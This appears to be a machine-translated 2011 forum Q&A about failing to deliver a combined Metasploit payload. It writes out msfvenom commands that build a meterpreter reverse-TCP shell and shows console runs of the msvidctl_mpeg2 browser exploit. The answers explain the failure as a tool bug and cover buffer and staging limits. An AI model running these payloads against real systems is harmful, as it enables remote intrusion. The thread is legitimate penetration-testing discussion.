2011-10-28 78 views
0

我一直在玩新的MSF4(框架:4.1.0-release.13988,控制檯:4.1.0-release.13581)multipayload支持使用msfvenom和自定義/通用有效載荷,但似乎沒有關於有效載荷在編碼和兼容性方面支持的信息。Metasploit通用/自定義有效載荷與multipayload

基本上我在看如何關閉服務器端服務,然後讓meterpreter監聽它不再綁定端口。 (該漏洞會進入另一個端口)

本質上,我使用msfvenom以msgbox和Meterpreter背靠背的方式創建了多重負載,如exe,raw和.rb。我試着單獨留下編碼設置,並將其設置爲無。 (請注意,自定義/通用有效載荷.RB源說說只允許無編碼)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw 
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw 

我也EXITFUNC試圖將其設置爲「無」:

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw 
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw 

然後我需要寫原multipayload的東西,通用/自定義的有效載荷可以使用:(注意我試着寫生,EXE,.RB格式)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw 

最後它的時間來嘗試multipayload出與通用/自定義:(請注意,我試圖重新加載設置前的每一次開發和利用)

msf > use exploit/windows/browser/msvidctl_mpeg2 
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom 
PAYLOAD => generic/custom 

msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw 
PAYLOADSTR => c:\metasploit\test\msf.raw 
msf exploit(msvidctl_mpeg2) > exploit 

[-] Exploit failed: No encoders encoded the buffer successfully. 

msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe 
PAYLOADSTR => c:\metasploit\test\msf.exe 
msf exploit(msvidctl_mpeg2) > exploit 

[-] Exploit failed: No encoders encoded the buffer successfully. 

msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw 
PAYLOADFILE => c:\metasploit\test\msf.raw 
msf exploit(msvidctl_mpeg2) > exploit 

[-] Exploit failed: No encoders encoded the buffer successfully. 

msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe 
PAYLOADFILE => c:\metasploit\test\msf.exe 
msf exploit(msvidctl_mpeg2) > exploit 

[-] Exploit failed: No encoders encoded the buffer successfully. 

於是我發現了什麼解釋說:「沒有編碼器編碼......」應該是錯誤的意思。 (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions)這是我認爲有效載荷的來源。

錯誤的原因是Windows/msgbox有效載荷,因爲它沒有上演?或者說,多重負載沒有上演?如果是後者,那麼我就看不出多重負載如何才能工作,除非他們上演。組合2個有效載荷可能會比單個有效載荷更大。

有人可以請至少解釋應該與通用/有效載荷兼容的編碼和格式,所以我可以排除這一點嗎?我只找到了幾個多重加載支持的參考。

在此先感謝!我保證會回覆我一旦做到這一點,我是如何做到這一點的。

回答

1

對不起,關於最近的答案。

MSF 4.1中存在msfvenom的錯誤,而不是通用/自定義有效載荷。我生成的有效載荷絕對小於允許的1024字節。這裏有一個專門給它的線程,其中HDM本人表明,它是一個錯誤:

https://community.rapid7.com/thread/1332

,那就是與修爲msfvenom一起記錄錯誤情況:

http://dev.metasploit.com/redmine/issues/4714

我只是不認爲任何人都在使用多重負載支持。不要被我之前笨重的msfvenom使用所困惑。當我發佈這個問題的時候,我很絕望,所以我包括了所有我認爲問題可能沒有寫入shellcode的東西。當HDM承認這是一個錯誤,我決定去另一條路線時,我正在試圖學習如何編寫一個2合1 shellcode測試。 (我抓住了MSF Pro試用版並設置了一個VPN數據透視表來解決我的多跳測試場景)

感謝您的迴應。

1

我認爲這會有助於你理解一些漏洞利用動態和經典的內存損壞漏洞利用策略,然後再深入到這樣的事情中。

我可以建議The Art of Software Security AssessmentShellcoder's Handbook

這就是說,這裏是什麼happeneing,當你在一個緩衝區溢出「洞穴」出來的內存,你的可用空間有限數額的你利用你打的前存儲堆棧幀&指令指針,MPEG2瀏覽器錯誤(您正在嘗試利用)在堆棧上分配1024個字節,因此這也是您的有效負載的限制,並且由標準系列(\ x00 \ x09 \ x0a \ x0d,這就是空字符,停止,回車和換行),這進一步限制了你不考慮的任何shellcode。然而,Metasploit非常聰明,它通常可以用'安全'和可利用的指令來嘲諷一些指令,但是由於指令集,堆棧爆炸等方面的不一致性,這並不總是可能的。當msfvenom的有效負載運行發電機,沒有什麼可以'工作'和Metasploit拋出你的錯誤。

正如你所猜測的,這意味着你需要階段化你的shellcode(err,我的意思是有效載荷),一個好的分段有效載荷通常可以被破壞並分佈在多個存儲位置,並且仍然有足夠的彈性(或重複性)如果我在你的鞋子裏,我會使用通用的反向綁定* windows/meterpreter/reverse_tcp *,但是,因爲我不認爲這個特定的漏洞會混合使用序號或任何類似這樣的奇怪東西。

運氣最好